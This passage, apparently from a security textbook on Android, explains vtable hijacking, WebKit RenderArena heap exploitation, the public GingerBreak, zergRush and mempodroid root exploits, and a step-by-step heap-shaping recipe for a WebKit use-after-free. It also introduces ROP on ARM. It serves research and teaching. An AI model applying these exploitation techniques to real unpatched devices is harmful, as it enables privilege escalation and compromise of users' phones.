272 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 272 functions goes beyond the scope of this book but an excellent introduction is given in B. Stroustrup The C ++ Programming Language Addison Wesley 3rd edition 1997 . Of more interest to the attacker is not the beauty of object-oriented program- ming in C++ but how virtual function calls are implemented by compilers. Because the resolution of virtual functions happens at runtime there must be some information stored within a class’s representation in memory. And indeed GCC places a virtual function table pointer—vftable for short—at the beginning of an object in-memory. Instead of containing a classic function pointer for each virtual function this pointer points to a table containing function pointers. This is a straightforward object size optimization as a specif c instance is always of a specif c class type and therefore has a f xed set of virtual functions. A binary contains a virtual function table for each of its base classes. The pointer to the virtual function table is initialized by the constructor. More information about implementation details can be found in S. Lippman Inside the C++ Object Model Addison-Wesley 1996. The basic layout is shown in Figure 8-5. virtual function table pointer A virtual function table pointer B member 1 class instance : A B heap .text function pointer 1 function pointer 2 function pointer 3 Figure 8-5: Virtual function table pointer in C++ class Therefore any virtual function call requires a memory indirection through the class instance which is typically allocated in heap memory. On ARM a GCC virtual function call site may look like the following. WebKit Virtual Function Call Example ↓ Load virtual function table pointer into r0 from beginning of class in-memory pointed to by r4. ldr r0 r4 0 subs r5 r6 r5

slide 305:

Chapter 8 ■ Exploiting User Space Software 273 c08.indd 11:10:3:AM 02/25/2014 Page 273 ↓ Load actual function pointer from table at offset 772. ldr.w r3 r0 772 ↓ Initialize this pointer argument r0 to class pointer from r4. mov r0 r4 ↓ Call the function pointer. blx r3 When a memory corruption bug on the heap is in play an attacker can therefore try to manipulate the virtual function table pointer loaded from r4 into r0 in above example to his liking. Although vftables normally reside in the binary’s text section an attacker can point it to a faked virtual function pointer table on the heap. Later when a virtual method for this object is called the fake virtual function pointer table will be used and control f ow will be diverted to a loca- tion of the attacker’s choosing. One weakness of this technique is that the address to call as a function cannot be written directly to the C++ object in memory. Instead one level of indirec- tion is required and the attacker therefore needs to do one of two things. First he can leak a heap address he can control in order to subsequently provide it as virtual function table pointer. Or he can use application logic to overwrite the virtual function table pointer with a pointer to attacker-controlled data as showcased in the next section. WebKit Specifi c Allocator: The RenderArena As previously stated programs can contain their own heap allocators that are optimized for the program. The WebKit rendering engine contains such an allocator for optimizing the RenderTree generation for speed. The Render Tree is a companion to the Document Object Model DOM Tree and contains all elements on a page annotated with position styles and so on that need to be rendered. Because it needs to be rebuilt every time the page layout changes for example by resizing a Window changes in the DOM tree and much more it needs to use a fast allocator. The C++ objects that represent nodes of the RenderTree are therefore allocated on a special heap allocator called the RenderArena. The RenderArena is not backed directly by operating system chunks but by large allocations on the main heap. These larger allocations are allocated using

slide 306:

274 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 274 the now familiar dlmalloc and are used to service RenderArena allocations. In this respect the RenderArena is a heap on a heap. RenderArena allocations are 0x1000 bytes plus the arena header typically totaling 0x1018 bytes in size on ARM. The allocation strategy of the RenderArena is trivial and quickly explained. Chunks are never coalesced they are kept in a singly linked First-In-Last-Out FILO list for reuse on allocation requests of the same size. If no allocation of the requested size is available a new block is created at the end of the current RenderArena. If the current arena is too small to service the request a new one is simply allocated from dlmalloc. Despite being very simple this allocation strategy still works well because only f xed size C++ classes are allocated on this special heap so overall there is a small variance in allocation sizes. Because of this simple allocation strategy no inline metadata is stored for allocated blocks. Free blocks have the f rst machine word replaced with a pointer to the next free block of the same size to form the singly linked FILO list men- tioned previously. Placing the list pointer for the next free block of same size at the beginning of the free block provides an excellent attack opportunity. Because all objects on the RenderArena are C++ classes derived from a base class with virtual functions they all have a virtual function table pointer at the beginning. This pointer overlaps with the linked list pointer. Therefore the RenderArena allo- cator automatically points the virtual function table pointer to the previously freed block of the same size as shown in Figure 8-6. next free virtual function table pointer member 1 member 2 member 1 function pointer 1 Figure 8-6: vftptr assigned to next free chunk If the contents of an allocation of the same size can be controlled and freed just before a use-after-free scenario the native code f ow can be redirected without further heap crafting. The “Exploiting the Android Browser” section at the end of this chapter discusses one such scenario. In that scenario it is still possible to successfully exploit this even when the full allocation cannot be controlled. This technique was mitigated by Google in recent upstream WebKit releases as a direct response to it being presented publicly at Hackito Ergo Sum 2012. The linked list pointers are now masked with a magic value generated at runtime and therefore are no longer valid virtual function table pointers. The value is

slide 307:

Chapter 8 ■ Exploiting User Space Software 275 c08.indd 11:10:3:AM 02/25/2014 Page 275 generated based upon some ASLR entropy and has the most signif cant bit set. This ensures that the generated value cannot be predetermined and is very unlikely to be a valid pointer. A History of Public Exploits An overview of many different local privilege escalation exploits was already provided in Chapter 3. This chapter explains three vulnerabilities and their cor- responding public exploits in great detail in an effort to provide some background about existing techniques for user-space exploitation in the Android ecosystem. The f rst two vulnerabilities affect vold Android’s custom automatic mounting daemon. This software has been specif cally developed for the use in Android and has a history of security f aws exposed over two attack surfaces. The f rst vulnerability examined is reachable over a NETLINK socket. These are special local packet sockets that are typically used for communication between kernel and user-space. The second vulnerability is exposed via a UNIX domain socket. A UNIX domain socket is bound to a specif c path in the f le system and has an owning user group as well as f le permissions. Because this specif c UNIX domain socket is not accessible to all users this vulnerability is not reachable from an exploited browser process. The third exploit examined mempodroid utilizes a vulnerability in the Linux kernel itself to allow writing to memory of processes running at higher privileges. This primitive is used to cleverly inf uence a set-uid binary to execute a custom payload and thereby escalate privileges. Despite relying on a vulnerability in kernel code exploitation happens primarily in user-space context. GingerBreak The vold daemon listens on a NETLINK socket waiting to be informed about new disk-related events so it can subsequently mount drives automatically. Normally those messages are sent by the kernel to all user-space programs registered for a specif c type of messages. However it is also possible to send a NETLINK message from one user-space process to another. Consequently it is possible to send messages that were expected to come from the kernel and abuse bugs that are exposed via this attack surface. More interestingly NETLINK sockets are currently not restricted by the Android permission model and any app can create and communicate using them. This broadens the attack surface for vulnerabilities in NETLINK message handling related code signif cantly. vold uses Android Open Source Project AOSP library code to handle and parse NETLINK messages. When a new message regarding an event on a block

slide 308:

276 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 276 device is delivered a dispatcher class called VolumeManager invokes the virtual function handleBlockEvent on all registered Volume classes. Each registered class then decides whether this event concerns them or not. The following excerpt from system/vold/VolumeManager.cpp within the AOSP repository shows the implementation of handleBlockEvent. Implementation of handleBlockEvent in vold void VolumeManager::handleBlockEventNetlinkEvent evt const char devpath evt-findParam"DEVPATH" / Lookup a volume to handle this device / VolumeCollection::iterator it bool hit false for it mVolumes-begin it mVolumes-end ++it if it-handleBlockEventevt ifdef NETLINK_DEBUG SLOGD"Device s event handled by volume s\n" devpath it-getLabel endif hit true break if hit ifdef NETLINK_DEBUG SLOGW"No volumes handled block event for s" devpath endif The DirectVolume class contains code to handle addition of partitions. This code is invoked when a NETLINK message with the parameter DEVTYPE is set to something other than disk. The following excerpt from system/vold/ DirectVolume.cpp within the AOSP repository shows the implementation of the handlePartitionAdded function from the DirectVolume class. Vulnerable handlePartitionAdded Code from vold at 8509494 void DirectVolume::handlePartitionAddedconst char devpath NetlinkEvent evt int major atoievt-findParam"MAJOR" int minor atoievt-findParam"MINOR" int part_num

slide 309:

Chapter 8 ■ Exploiting User Space Software 277 c08.indd 11:10:3:AM 02/25/2014 Page 277 ↓ Retrieve the P ARTN parameter from the NETLINK message. const char tmp evt-findParam"PARTN" if tmp part_num atoitmp else SLOGW"Kernel block uevent missing PARTN" part_num 1 ↓ Check a dynamically incremented member variable but no absolute array boundaries. if part_num mDiskNumParts mDiskNumParts part_num if major mDiskMajor SLOGE"Partition s has a different major than its disk" devpath return ↓ Assign a user-controlled value to the user-controlled index only upper bounded. if part_num MAX_PARTITIONS SLOGE"Dv:partAdd: ignoring part_num d max: d\n" part_num MAX_PARTITIONS else mPartMinorspart_num -1 minor // … This function does not properly validate the bounds of the part_num vari- able. This value is directly supplied by an attacker as the PARTN parameter in the NETLINK message. In the above comparison it is interpreted as a signed integer and used for accessing a member of an integer array. The index value is not checked to see if it is negative. This allows accessing elements that are located in memory before the mPartMinors array which is stored on the heap. This enables an attacker to overwrite any 32-bit word located in memory before the array in question with an attacker-controlled value. The vulnerability was f xed in the Android 2.3.4 release. The patch is simple and just adds the

slide 310:

278 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 278 proper check for negative indexes. The following output from git diff shows the relevant change. Patch for the Missing Bounds Check in handlePartitionAdded with f3d3ce5 --- a/DirectVolume.cpp +++ b/DirectVolume.cpp -1866 +18611 void DirectVolume::handlePartitionAdded const char devpath NetlinkEvent evt part_num 1 ↓ The missing bounds checks are added here. + if part_num MAX_PARTITIONS || part_num 1 + SLOGW"Invalid PARTN value" + part_num 1 + + if part_num mDiskNumParts mDiskNumParts part_num This is a classic instance of a write-four primitive. This primitive describes the situation where an attacker-controlled 32-bit value is written to an attacker- controlled address. The public exploit by Sebastian Krahmer does not require an information leak from the target process as it makes use of Android’s crash logging facility instead. Because this exploit was written for rooting your own device it assumes it is being executed via an Android Debug Bridge ADB shell and therefore able to read the system log which contains some crash information as seen in Chapter 7 . Normal applications that might seek to elevate privileges are not members of the log UNIX group and therefore cannot read the system log that this exploit uses. The GingerBreak first determines the index offset from the exploited DirectVolume class instance’s mPartMinors array to the Global Offset Table GOT. Because the affected versions of Android do not have any form of ASLR the offset is stable across multiple launches of vold. Because vold is automati- cally restarted if the process dies the exploit simply crashes vold with invalid offsets. It then reads the crashlog text f le and parses it for the fault address string indicating the address of an invalid memory access. In this way the cor- rect index to point into the GOT can be easily calculated if the GOT address itself is known. The GOT address is simply determined by parsing the Executable

slide 311:

Chapter 8 ■ Exploiting User Space Software 279 c08.indd 11:10:3:AM 02/25/2014 Page 279 and Link Format ELF headers of the vold binary on-disk. This also makes the exploit work across builds without additional development efforts. Figure 8-7 shows how a negative index can be used to overwrite the GOT. .text low high GOT .data −n heap Figure 8-7: Negative GOT index from the heap To achieve useful code execution the exploit then overwrites the GOT entry of the strcmp function with the address of the system function in libc. Again because no ASLR is in effect the exploit can use the address of system in the current process’s libc. It will be the same address inside the target process. After overwriting the GOT entry the next time vold invokes strcmp it executes system instead. The exploit then sends a NETLINK request with a parameter that will be compared to another saved string. Because strcmp now points to system the exploit simply provides the path of a binary to execute for this string. When comparing the supplied string to the saved string vold then actually invokes the binary. Therefore no native code payload or Return Oriented Programming ROP as discussed in Chapter 9 is required for this exploit making it elegant and fairly target independent. In exploitation simplicity is reliability. zergRush Rather than exploiting an issue in the vold code the second exploit-attacking vold exploits a vulnerability in the libsysutils library. This library provides a generic interface for listening on what it calls Framework sockets which are simply traditional UNIX domain sockets. The code that extracts text commands from messages sent to these sockets was vulnerable to common stack buffer overf ows. This vulnerability was f xed with the Android 4.0 release. However the attack surface has very limited exposure. The relevant UNIX domain socket is only accessible to root user and the mount group as shown in the following code.

slide 312:

280 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 280 vold Framework Socket File Permissions ls -l /dev/socket/vold srw-rw---- root mount 2013-02-21 16:08 vold A local ADB shell runs as the shell user who is a member of the mount group. Rooting a device via the ADB shell is therefore possible using this bug. However this socket is not accessible to other processes running without the mount group such as the browser. If another process uses the same vulnerable FrameworkListener code the vulnerability can be exploited against its socket and its privileges can subsequently be assumed. The vulnerable function is used to parse an incoming message on the UNIX domain socket into different space delimited arguments as shown in the following code. Vulnerable function dispatchCommand void FrameworkListener::dispatchCommandSocketClient cli char data FrameworkCommandCollection::iterator i int argc 0 char argvFrameworkListener::CMD_ARGS_MAX ↓ A temporary local buffer is allocated on the stack. char tmp255 char p data ↓ The pointer q aliases the temporary buffer. char q tmp bool esc false bool quote false int k memsetargv 0 sizeofargv memsettmp 0 sizeoftmp ↓ This loop iterates over all input characters until a terminating zero is reached. whilep ...

slide 313:

Chapter 8 ■ Exploiting User Space Software 281 c08.indd 11:10:3:AM 02/25/2014 Page 281 ↓ User input is copied into the buffer here arguments are put into the array without bounds checks. q p++ if quote q q \0 argvargc++ strduptmp memsettmp 0 sizeoftmp ↓ q is reset to the beginning of tmp if there is a space outside a quoted string. q tmp continue ↓ The target pointer is incremented without further bounds checks. q++ ... argvargc++ strduptmp ... for j 0 j argc j++ freeargvj return The patch for this vulnerability was introduced in commit c6b0def to the core directory of the AOSP repository. It introduces a new local variable qlimit that points to the end of tmp. Before writing to q the developer checks it is not equal to or greater than qlimit. Because the return address is saved on the stack exploitation could be as easy as overf owing the tmp buffer enough to overwrite the saved return address and replace it with an address containing the attacker’s native code payload. Figure 8-8 shows this simplif ed scenario. However stack cookies are active and therefore a more sophisticated exploita- tion strategy is required. As can be seen in the earlier vulnerable code snippet the code also fails to perform bounds checking on the argv array. The zergRush exploit increments the argc variable with 16 dummy elements such that out-of- bounds elements of the argv array overlap with the tmp buffer. It then writes contents into tmp that includes pointers to be freed later in the function allow- ing the exploit to force a use-after-free scenario for any heap object. This is then used to hijack control f ow using a virtual function table pointer. The overf owed stack frame is depicted in Figure 8-9.

slide 314:

282 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 282 other local variables sp argv0 argv1 … argv15 tmp0..255 stack cookie overflow saved program counter Figure 8-8: Stack buffer overflow over tmp buffer and return address other local variables argv0 argv1 … … argv15 tmp0..255 argv16 stack cookie overflow saved program counter argv17 Figure 8-9: Stack array overflow into tmp buffer-preserving cookie

slide 315:

Chapter 8 ■ Exploiting User Space Software 283 c08.indd 11:10:3:AM 02/25/2014 Page 283 Because the Android 2.3 series introduces the XN mitigation which does not allow an attacker to execute arbitrary code directly the zergRush exploit utilizes a very simple ROP chain to set up the arguments for a call to system. Using this technique it invokes another binary as root just like the original GingerBreak exploit. ROP is explained in more detail in Chapter 9. mempodroid A vulnerability in the Linux kernel from 2.6.39 to 3.0 allows users to write into the memory of another process with certain limitations. This vulnerability was dis- closed in January 2012 and affects the Android 4.0 release series because the kernel versions in question were only used in conjunction with that Android version. Linux exposes a special character device for each process at /proc/ pid/mem that represents that process’ virtual memory as a f le. For obvious security reasons there are strict restrictions on who can read from and write to that f le. Those restrictions require that the process writing to this special device must be the process owning the memory. Luckily thanks to the UNIX everything-is-a-f le mentality an attacker can open the mem device for the target process and clone it to that process’s stdout and stderr. There are additional checks that need to be circumvented to successfully exploit this vulnerability. Jason A. Donenfeld documented these restrictions very well in his blog post at http://blog.zx2c4.com/749. When stdout has been redirected to the character device linked to virtual memory the attacker can try to make the program output attacker-controlled data and thereby write to the program’s memory in an unintended location. By seeking in the character device before the program runs he can control at which memory location data is written. The mempodroid exploit written by Jay Freeman targets the run-as binary. This binary is much like sudo on traditional Linux systems in that it allows running a command as another user. To accomplish this the program is owned by the root user and has the set-uid permission bit set. The exploit simply provides the desired payload to be written to the target memory as the username to impersonate. run-as fails to look up that user and print an error message to stderr accordingly. The target address is set by seeking the mem device before passing it to the target program. This address is the path of the error function leading to program termination via a call to exit. Therefore the actual native code exiting with error code after a failed user lookup is replaced by some attacker-controlled code. To keep the amount of attacker-controlled code to a minimum the exploit carefully chooses the location to hijack to be the call-site of the call to the exit function. It replaces this code with a call to setresuid0. Then it returns from the function as if no error occurred which spawns the attacker’s provided command as per normal functionality as shown in Figure 8-10.

slide 316:

284 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 284 D7FC D7FE D802 D804 D808 0×AD56 MOV R0 R4 POP R0 R1 R4–R6 MOVS R5 0 MOVW R3 0×AD57 BX R3 MOV R0 R4 BLX exitgroup NOP MOV R0 R5 MOV R1 R5 MOV R2 R5 BL wrap_setresuid32 … Figure 8-10: Side-by-side with original and overwritten code This is another very elegant exploit that shines through its simplicity and understanding of the target program. It uses the existing functionality to run a process of the attacker’s choosing. Exploiting the Android Browser As a case study for advanced heap exploitation this chapter presents a specif c use-after-free vulnerability in WebKit’s rendering code. This vulnerability also known as CVE-2011-3068 was f xed in WebKit upstream commit 100677. At the time of the f x bug 70456 was referenced but unfortunately this bug is still closed at the time of this writing. The f x was merged into the Android Browser’s WebKit with the Android 4.0.4 release tags android-4.0.4-aah_r1 and android-4.0.4_r1 in commit d911316 and 538b01d which were cherry- picked from the upstream commit. The exploitation attempt is against a Galaxy Nexus running Android 4.0.1 build ITL41F which is conf rmed vulnerable. Understanding the Bug The off cial patch does not point out the bug well and understanding WebKit source has a high barrier to entry. Luckily for an attacker the f xing commit also contains a crash test case to prevent future regressions—and make exploit development easier When attached with a debugger and the correct symbols see Chapter 7 for a guide on setting up your debugging environment the browser crashes as shown in the following example.

slide 317:

Chapter 8 ■ Exploiting User Space Software 285 c08.indd 11:10:3:AM 02/25/2014 Page 285 Crash on Testcase from Commit 100677 Program received signal SIGSEGV Segmentation fault. Switching to Thread 2050 0x00000000 in ↓ Dump all the registers. gdb » i r r0 0x6157a8 0x6157a8 r1 0x0 0x0 r2 0x80000000 0x80000000 r3 0x0 0x0 r4 0x6157a8 0x6157a8 r5 0x615348 0x615348 r6 0x514b78 0x514b78 r7 0x1 0x1 r8 0x5ba40540 0x5ba40540 r9 0x5ba40548 0x5ba40548 r10 0xa5 0xa5 r11 0x615424 0x615424 r12 0x3 0x3 sp 0x5ba40538 0x5ba40538 lr 0x59e8ca55 0x59e8ca55 pc 0x0 0 cpsr 0x10 0x10 ↓ Disassemble calling function. gdb » disas lr Dump of assembler code for function _ZN7WebCore12RenderObject14layoutIfNeededEv: 0x59e8ca40 +0: push r4 lr 0x59e8ca42 +2: mov r4 r0 0x59e8ca44 +4: bl 0x59e4b904 _ZNK7WebCore12RenderObject11needsLayoutEv 0x59e8ca48 +8: cbz r0 0x59e8ca54 _ZN7WebCore12RenderObject14layoutIfNeededEv+20 ↓ Load pointer to virtual function table into r0. 0x59e8ca4a +10: ldr r0 r4 0

slide 318:

286 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 286 ↓ Load actual function pointer into r3 this will be the 0 address jumped to causing a crash. 0x59e8ca4c +12: ldr.w r3 r0 380 0x17c ↓ Load new this pointer into r0 argument. 0x59e8ca50 +16: mov r0 r4 ↓ Actual virtual function call. 0x59e8ca52 +18: blx r3 0x59e8ca54 +20: pop r4 pc End of assembler dump. ↓ Examine virtual function table pointer and this object at call site. gdb » x/1wx r0 0x6157a8: 0x00615904 ↓ Print actual function pointer. gdb » x/1wx r0 + 0x17c 0x615a80: 0x00000000 The call site is a very generic layout function declared for all RenderObject- derived classes as shown in the following: layoutIfNeeded in RenderObject.h / This function performs a layout only if one is needed. / void layoutIfNeeded if needsLayout layout It now becomes very clear that you are dealing with a RenderArena use-after- free scenario where the virtual function table pointer has been overwritten as explained in the “WebKit Specif c Allocator: The RenderArena” section earlier in this chapter. A motivated source code auditor might strive to understand the bug better but for our purposes this is a suff cient understanding. Unluckily the bug does not allow an attacker to regain JavaScript control after triggering the free making more code analysis mostly useless. In order to exploit this issue you must control the contents of the fake virtual function pointer table

slide 319:

Chapter 8 ■ Exploiting User Space Software 287 c08.indd 11:10:3:AM 02/25/2014 Page 287 which currently points into another RenderObject instance whose contents you do not control. Controlling the Heap Now that a virtual function pointer table from the heap is being dereferenced you must take control of the contents of this heap region to inf uence code execution. Because the virtual function invocation happens right after freeing the block and without returning to attacker-controlled code it is not possible to allocate an arbitrary RenderObject in its place. Even if the attacker could gain intermediate JavaScript execution he would have to craft another RenderObject of the size 0x7c. Only the original RenderBlock class has this specif c size so the attack possibilities are very limited. Redirecting the virtual function table pointer while the object is still in a free state appears to be much more promising. Recall that the singly linked free list only contains items of the same size. For the previously outlined reasons it is therefore not possible to put other class instances into this list. However notice how the dereferenced offset 0x17c inside the virtual function pointer table is bigger than the entire object instance size of 0x7c. Therefore the actual function pointer lookup will go past the object into whatever else might be in or after the RenderArena. This opens multiple avenues for controlling the virtual function table pointer. Using CSS The f rst possibility is to allocate another RenderObject such that it is taken from new unallocated space following the allocation to be freed instead of an existing free spot. By controlling the contents of the new allocation you can control the data at the function pointer offset. Making sure that it is taken from new unallocated space can be achieved by f lling existing holes with dummy allocations. The resulting heap layout is shown in Figure 8-6 earlier. Unfortunately RenderObject-derived classes are designed to be very lean. This makes controlling data within such objects diff cult. Most of the 32-bit integers in them are CSS values originating from the CSS parser such as posi- tions and margins. Internally the CSS code uses 4 bits of an integer value to store additional f ags such as whether the value represents a percentage. This fact results in values being only 28-bit with the high 4 bits cleared. Luckily there are a few exceptions. One of them is the RenderListItem the Render Tree equivalent of an li DOM node. Such list items can have an absolute position value specif ed—for example when creating a numbered list with special values or display offset. This 32-bit value is then copied unmodif ed to the m_value and m_explicitValue members of the associated RenderListItem. Padding

slide 320:

288 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 288 with another dummy RenderBlock instance you can achieve the exact function pointer offset you need. Examining Matching Class Sizes with gdb gdb » p 2 sizeofWebCore::RenderBlock + uint32_t WebCore::RenderListItem 0-m_value 1 0x17c This way the full 32 bits of the program counter pc can be controlled. The specif c heap layout with a padding dummy object is shown in Figure 8-11. next free virtual function table pointer RenderBlock I +0×17c UaF-RenderBlock RenderListItem RenderBlock II function pointer Figure 8-11: RenderArena with padding and RenderListItem The RenderListItem-based technique is certainly useful for exploiting this vulnerability in older versions of Android that lack the XN mitigation. However in this scenario the attacker controls the contents of r3 but not the memory pointed to by any register or the memory in its direct vicinity. To circumvent XN with ROP introduced in Chapter 9 the attacker likely needs to control more memory for a successful stack pivot. Using a Free Block Another way of controlling the memory contents of the RenderArena following an existing allocation is making sure the memory regions are never allocated and stay uninitialized. That way the virtual function pointer is read from uninitialized memory contents. As explained earlier arenas are allocated from the main heap. If an attacker allocates a RenderArena-sized block from the main heap and sets the contents to the desired values then frees the block again the next RenderArena allocated will be initialized with attacker controlled values. General precautions to preserving a chunk on the dlmalloc heap apply. The attacker must be careful that the freed chunk is not coalesced with any border- ing chunks and that there are enough such free chunks available such that other allocations do not use those free chunks before the next RenderArena is allocated. Taking all these tidbits together this yields the following recipe:

slide 321:

Chapter 8 ■ Exploiting User Space Software 289 c08.indd 11:10:3:AM 02/25/2014 Page 289 1. Create suff cient allocations of a RenderArena size and set their contents to the desired values. After each such allocation also create a small allocation serving as guard against coalescing. 2. Free all RenderArena-sized allocations but not the guards. The guards will now prevent the fake arenas from being coalesced yet the arenas can be used for allocation of a real RenderArena. 3. Create enough RenderObject instances to use up all space of the existing arenas and make sure a new arena is allocated from one of the prepared blocks. 4. Create a RenderObject of the same class type as the use-after-free–affected object—RenderBlock in our case study. Make sure this is the last alloca- tion in the RenderArena and is freed just before the use-after-free–affected object is freed. After using this recipe the heap should look similar to that shown in Figure 8-12. header Render Render UaF next free function pointer offset Guard dlmalloc chunks Fake Arena Guard allocated Fake Arena free controlled contents Fake virtual function pointer table unallocated controlled … Figure 8-12: RenderArena and dlmalloc state after massaging Using an Allocated Block In addition to the previously presented approaches another approach exists. In this scenario the attacker places an allocated dlmalloc chunk containing data of their choosing after the RenderArena chunk. This technique is especially useful because an allocated block is less likely to be modif ed in the time that elapses between heap sculpting and trigger the use-after-free issue. Similar to the freed

slide 322:

290 Chapter 8 ■ Exploiting User Space Software c08.indd 11:10:3:AM 02/25/2014 Page 290 block approach the virtual function table pointer would point near the end of the RenderArena. When the virtual method is invoked the read offset would result in using attacker-controlled data as a function pointer. If everything works out the attacker now controls both the pc register and suff cient amounts of memory to perform a stack pivot and start his ROP bring- ing him one step closer to full control. Summary This chapter covered a range of user-space memory corruption exploitation tech- nologies on ARM hardware. Implementation details and exploitation techniques relevant to corrupting stack and heap memory were presented. Although the scenarios discussed do not cover all possible vulnerability classes or exploitation techniques they provide insight into how to approach developing an exploit. Heap-based memory corruption attacks are much more application and allocator specif c but are the most common vulnerabilities these days. Use- after-free scenarios allow reusing a freed memory block with a new potentially attacker controlled allocation and thereby deliberately create an aliasing bug. This condition is explored under Android’s native dlmalloc allocator and the WebKit-specif c RenderArena allocator. Virtual function pointer tables pose a way of hijacking native code execution directly from a variety of heap corrup- tion issues. By taking a close look at several historic real-world exploits you saw how simplicity often leads to increased reliability and decreased development efforts. The GingerBreak exploit showed how to exploit somewhat arbitrary array index- ing issues by modifying the GOT. The zergRush exploit is a shining example of exploiting stack corruption despite the stack cookies present on Android. Mempodroid demonstrated outside-the-box techniques to leverage a kernel vulnerability to achieve privilege escalation. Lastly the chapter examined several approaches for exploiting a publicly disclosed and patched use-after-free vulnerability in the WebKit rendering engine. The necessary steps for writing your own JavaScript to shape the heap are explained. This chapter leaves you with enough control to proceed with the task of crafting a custom stack pivot and ROP chain in Chapter 9.

slide 323:

291 c09.indd 01:20:31:PM 02/24/2014 Page 291 This chapter introduces the basics of Return Oriented Programming ROP and why using it is necessary. The ARM architecture is very different from x86 in regards to ROP and this chapter introduces some new concepts specif c to ARM. The chapter examines the bionic dynamic linker as a case study of a rich and comparatively stable source of code usable for ROP and presents some ideas for automation. History and Motivation ROP is a technique to leverage existing native code in memory as an arbitrary payload instead of injecting custom native instruction payloads or shellcode. It has been documented in several degrees of abstraction in various aca- demic papers but its roots go back to the return2libc technique f rst publicly documented by Solar Designer in a 1997 post to the Bugtraq mailing list http:// seclists.org/bugtraq/1997/Aug/63. In that article Solar demonstrated the reuse of existing x86 code fragments in order to bypass a non-executable stack protection mechanism. Later Tim Newsham demonstrated the f rst chaining of more than two calls in his lpset Solaris 7 exploit from May 2000 http:// seclists.org/bugtraq/2000/May/90. CHAPTER 9 Return Oriented Programming

slide 324:

292 Chapter 9 ■ Return Oriented Programming c09.indd 01:20:31:PM 02/24/2014 Page 292 There are three main reasons to leverage existing native code in today’s ARM environments and therefore use ROP . The primary and most obvious reason is the XN exploit mitigation as discussed in Chapter 12. The secondary reason is due to the separate data and instruction caches on the ARM architecture as described later. Lastly on some ARM-based platforms the OS’s loader enforces “code-signing” which requires all binaries to be cryptographically signed. On platforms such as this illicit code execution such as that caused by exploita- tion of a vulnerability requires piecing together bits of native code using ROP . The XN exploit mitigation allows the operating system to mark memory pages as executable or non-executable and the processor issues an exception if an instruction is attempted to be fetched from non-executable memory . Subsequently an attacker cannot simply provide his payload as native code and divert con- trol f ow there. Instead he must make use of the existing code in the program’s address space that is already marked as executable. He can then either decide to implement the full payload using existing code or just use existing code as an intermediate stage to mark his additionally supplied native code as executable. Separate Code and Instruction Cache Because the ARM9 architecture has the ARMv5 feature set the processor has two separate caches for instructions and data: The ARM9TDMI has a Harvard bus architecture with separate instruction and data interfaces. This allows concurrent instruction and data accesses and greatly reduces the CPI of the processor. For optimal performance single cycle memory accesses for both interfaces are required although the core can be wait-stated for non-sequential accesses or slower memory systems. . . . A typical implementation of an ARM9TDMI based cached processor has Harvard caches and then a unified memory structure beyond the caches thus giving the data interface access to the instruction memory space. The ARM940T is an example of such a system. However for an SRAM-based system this technique cannot be used and an alternative method must be employed. ARM Limited ARM9TDMI™ Technical Reference Manual Chapter 3.1: “About the memory interface ” 1998 http://infocenter.arm.com/help/ index.jsptopic/com.arm.doc.ddi0091a/CACFBCBE.html As a consequence any chunk of native instructions written to memory is not directly executable even in the absence of XN. The instructions being written

slide 325:

Chapter 9 ■ Return Oriented Programming 293 c09.indd 01:20:31:PM 02/24/2014 Page 293 as data are f rst written to the data cache and only later f ushed to the backing main memory. This is depicted in Figure 9-1. ARM CPU L1 Cache Instruction Decoding Engine Instruction Cache Memory Unit Data Cache Main Memory Figure 9-1: Data and instruction caches When the control f ow is diverted to the address of the just-written instruc- tions the instruction decoding engine attempts to fetch an instruction from the specif ed address and f rst queries the instruction cache. Now three things can happen: ■ The address in question is already in the instruction cache and the main memory is not touched. The original instructions despite being overwrit- ten are executed instead of the attacker’s payload. ■ A cache miss occurs and the instructions are fetched from main memory however the data cache has not been f ushed yet. The fetched instructions are the data in the respective memory location before the attacker’s write and again the payload is not executed. ■ Both the data cache has been f ushed and the instruction cache does not contain the address yet. The instructions are fetched from main memory which contains the actual attacker’s payload. As the attacker typically is not writing to addresses that contained code before it is unlikely that the address is in the instruction cache already. However the payload is still not fetched correctly when the data cache has not been f ushed. In such a scenario one can either leverage existing legitimate code which might

slide 326:

294 Chapter 9 ■ Return Oriented Programming c09.indd 01:20:31:PM 02/24/2014 Page 294 even be in the instruction cache already or simply write a lot of data to memory to f ush the data cache. When performing surgical exploitation it is simply not possible to write much data after the payload has been written reusing existing code is a necessity. NOTE Separate data and instruction caches can become a very tedious issue to identify when switching from a debugger setup to unattended execution in exploit development. When hitting breakpoints or switching to the debugger process for other reasons the data caches are typically fl ushed. Also the debugger sees only the data in main memory and not what is actually in the instruction cache. As soon as the target is run without a debugger attached the process crashes in what seems to be the attacker’s payload. Keep this one in mind as a source of weird crashes The ARM processors have special instructions for f ushing the caches. These instructions modify the CP15 system control coprocessor’ s registers. Unfortunately these instructions access privileged registers and are therefore not usable by user-mode code. The “PLI” instruction can also be used to hint that the instruc- tion cache should be reloaded but this is not guaranteed. Operating systems provide mechanisms for clearing the instruction cache via system calls. On Linux this is done via invoking a system call also accessible as the cacheflush function. Usually there is no way to invoke such functions before gaining arbitrary code execution. However the Linux kernel also f ushes the cache when an mprotect system call is issued. The effects of separate caches can therefore be disregarded when creating a ROP chain that marks data as executable code and subsequently transfers execution there. Basics of ROP on ARM Because the targeted application typically does not contain the attacker’s pay- load as one code chunk to which the control f ow can simply be diverted to the attacker needs to piece together chunks of original code that together implement their payload. The challenge is maintaining control over the program counter after execution of one such code chunk. The original ret2libc technique chains one or more calls into libc procedures on the x86 architecture. In that architecture the return address is stored on the stack. This address indicates where a routine will pass execution to when it returns. By manipulating the stack contents the attacker can provide the address of a libc procedure to call instead of a legitimate return address. ROP is a generalization of this methodology. Not only does it use full pro- cedures but also smaller code chunks called Gadgets. To maintain control over

slide 327:

